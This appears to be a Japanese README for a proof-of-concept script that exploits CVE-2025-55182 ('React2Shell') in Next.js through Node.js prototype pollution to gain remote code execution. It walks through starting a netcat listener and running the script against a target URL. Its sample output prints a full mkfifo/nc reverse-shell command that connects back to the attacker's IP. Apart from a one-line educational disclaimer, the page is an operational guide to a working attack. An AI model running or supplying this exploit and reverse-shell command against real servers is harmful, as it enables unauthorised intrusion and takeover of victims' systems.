
これは、React2Shell-CVE-2025-55182 Nextjs の脆弱性を悪用するための使いやすい PoC スクリプトです。リバースシェルの取得に役立ちます。
🚀 React2Shell - (CVE-2025–55182) エクスプロイトスクリプト
🔥 はじめに
このリポジトリには、React2Shell の脆弱性(CVE-2025–55182)に対するエクスプロイトスクリプトが含まれています。この脆弱性は、特定の種類の Node.js プロトタイプ汚染 を標的とし、リモートコード実行(RCE) につながります。
このスクリプトは、脆弱なアプリケーションに悪意のあるペイロードを注入することで、Netcat リバースシェル 接続を確立するように特別に設計されています。
⚠️ 免責事項
このツールは、教育および研究目的のみ で使用してください。
⚙️ 前提条件
- Python 3.x
requestsライブラリインストール
必要な Python 依存関係は、
pipを使用してインストールできます:pip install requests
🖥️ 使用方法
このスクリプトは、リバースシェルを取得することに特化したツールであり、ターゲット URL(
-u)、ローカル IP アドレス(-l)、リスナーポート(-p)の 3 つの主要パラメータが必要です。1. リスナーを起動する
エクスプロイトを実行する前に、受信するリバースシェル接続を捕らえるために、ローカルマシンで Netcat リスナーをセットアップする必要があります。
# ポート 9001 で Netcat リスナーを起動(またはカスタムポート) nc -lvnp 90012. エクスプロイトスクリプトを実行する
必要な引数を指定してスクリプトを実行します。ポート(
-p)を省略した場合、デフォルトの 9001 が使用されます。
使用例
http://192.168.1.100:3000/をターゲットにし、192.168.1.5:4444のリスナーに接続を返す場合:python react2shell.py -u http://192.168.1.100:3000 -l 192.168.1.5 -p 4444期待される出力
このエクスプロイトは、ターゲット上の
execSync関数を利用するため、通常はサーバープロセスをブロックします。したがって、ReadTimeout はコマンド実行が成功したことを示す 期待される 兆候です。### 🔥 React2Shell - (CVE-2025–55182) ### By Hasa [*] Target URL (-u): [http://192.168.1.100:3000/](http://192.168.1.100:3000/) [*] Local IP (-l): 192.168.1.5 [*] Port (-p): 4444 [*] Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f [*] Sending payload... [+] [+] Attack may be Successful! Check your Netcat Listner.成功した場合、Netcat リスナーにシェルが接続されるのが確認できます。
🖼️ ヘルプメニュー
引数なしでスクリプトを実行すると、バナーと必須の使用方法が表示されます:
python react2shell.py出力:
### 🔥 React2Shell - (CVE-2025–55182) ### By Hasa usage: react2shell.py [-h] -u URL -l LOCAL_IP [-p PORT] Educational Purposes Only!!! options: -h, --help show this help message and exit -u URL, --url URL (REQUIRED) The target URL (Ex: "[http://example.com:3000](http://example.com:3000)") -l LOCAL_IP, --local-ip LOCAL_IP (REQUIRED) Listner or Attacker IP (Ex: "192.168.100.1") -p PORT, --port PORT Listner Port (Default: 9001)
![]()
| フラグ | 引数 | 説明 | 例 |
|---|
-u | --url | (必須) 脆弱なターゲットの完全な URL。 | http://192.168.1.100:3000 |
-l | --local-ip | (必須) 攻撃者/リスナーの IP アドレス。 | 192.168.1.5 |
-p | --port | リスナーが実行されているポート。 | 4444 |